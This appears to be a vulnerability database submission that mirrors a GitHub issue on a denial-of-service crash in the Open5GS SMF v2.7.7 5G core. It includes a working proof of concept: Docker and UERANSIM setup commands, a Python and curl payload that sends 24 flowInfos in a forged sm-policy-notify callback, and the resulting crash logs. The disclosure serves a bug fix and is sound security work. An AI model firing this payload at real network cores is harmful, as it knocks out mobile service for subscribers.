제출 #808476: Open5gs SMF v2.7.7 Denial of Service

### Open5GS Release, Revision, or Tag

v2.7.7

### Steps to reproduce

### Description

SMF crashes when an `sm-policy-notify` callback carries a `SmPolicyDecision`
whose `pccRules[*].flowInfos` list exceeds the internal PCC-rule flow array.

`update_authorized_pcc_rule_and_qos()` appends every `flowInfos` element into
`pcc_rule->flow[pcc_rule->num_of_flow]` without any upper-bound check:

```c
ogs_flow_t *flow = &pcc_rule->flow[pcc_rule->num_of_flow];
...
pcc_rule->num_of_flow++;
```

But `ogs_pcc_rule_t` only allocates `flow[OGS_MAX_NUM_OF_FLOW_IN_PCC_RULE]`,
and that limit is `15`.

In live Docker, a callback with `24` valid `flowInfos` for an existing SMF
session corrupted the downstream QoS/PFCP build path and aborted the process.

This path requires an existing SMF session, so the reproduction below first
established a real UE PDU session using UERANSIM.

### Steps to reproduce

1. Start the Open5GS live Docker lab.
2. Bring up UERANSIM gNB and UE with the provided configs:

```bash
docker run -d --rm --name smf-audit-gnb \
--network open5gs --network-alias gnb.ueransim.org \
-v /home/ubuntu/docker-open5gs/configs/internal/ueransim/gnb.yaml:/ueransim/config/gnb.yaml:ro \
free5gc/ueransim:latest /ueransim/nr-gnb -c /ueransim/config/gnb.yaml

docker run -d --rm --name smf-audit-ue \
--network open5gs --network-alias ue.ueransim.org \
--cap-add NET_ADMIN --privileged \
-v /home/ubuntu/docker-open5gs/configs/internal/ueransim/ue.yaml:/ueransim/config/ue.yaml:ro \
free5gc/ueransim:latest /ueransim/nr-ue -c /ueransim/config/ue.yaml -r
```

3. Wait until the UE log shows:

```text
PDU Session establishment is successful PSI[1]
```

4. Send the forged callback to the active `smContextRef` (`1` in this live run):

```bash
payload=$(python3 - <<'PY'
import json
body = {
"smPolicyDecision": {
"pccRules": {
"r1": {
"pccRuleId": "r1",
"precedence": 1,
"refQosData": ["q1"],
"flowInfos": [
{
"flowDirection": "UPLINK",
"flowDescription": f"permit out ip from 10.0.0.{i+1} 1000 to any"
}
for i in range(24)
]
}
},
"qosDecs": {
"q1": {"qosId": "q1", "5qi": 1, "priorityLevel": 1}
}
}
}
print(json.dumps(body, separators=(",", ":")))
PY
)

curl --http2-prior-knowledge -v \
-X POST http://10.33.33.10/nsmf-callback/v1/sm-policy-notify/1/update \
-H 'content-type: application/json' \
--data "$payload"
```

5. Check SMF state and logs:

```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}}' smf
docker logs --since 2026-04-10T19:16:50Z smf
```

### Logs

```shell
curl: (92) HTTP/2 stream 1 was not closed cleanly before end of the underlying stream

exited 139 2026-04-10T19:16:55.932836745Z

04/10 19:16:55.835: [core] ERROR: No TLV length - [Ethernet Filter ID] T:138 I:0 (vsz=24)
04/10 19:16:55.835: [smf] ERROR: smf_n4_build_qos_flow_to_modify_list: Expectation `pkbuf' failed. (../src/smf/n4-build.c:641)
04/10 19:16:55.836: [smf] ERROR: smf_5gc_pfcp_send_qos_flow_list_modification_request: Expectation `rv == OGS_OK' failed. (../src/smf/pfcp-path.c:679)
04/10 19:16:55.836: [smf] FATAL: smf_qos_flow_binding: Assertion `OGS_OK == smf_5gc_pfcp_send_qos_flow_list_modification_request(...)' failed. (../src/smf/binding.c:781)
```

### Expected behaviour

SMF should reject oversized `flowInfos` input with a normal HTTP error response.

### Observed Behaviour

The callback tears down the HTTP/2 stream and the SMF process exits with code `139`.

### eNodeB/gNodeB

UERANSIM gNB v3.2.7

### UE Models and versions

UERANSIM UE v3.2.7

• 원천: ⚠️ https://github.com/open5gs/open5gs/issues/4444
• 사용자: FrankLin (UID 97501)
• 제출: 2026. 04. 20. PM 09:05 (1 월 ago)
• 모더레이션: 2026. 05. 10. PM 04:40 (20 days later)
• 상태: 수락
• VulDB 항목: 362547 [Open5GS 까지 2.7.7 SMF /src/smf/n4-build.c smf_n4_build_qos_flow_to_modify_list 서비스 거부]
• 포인트들: 20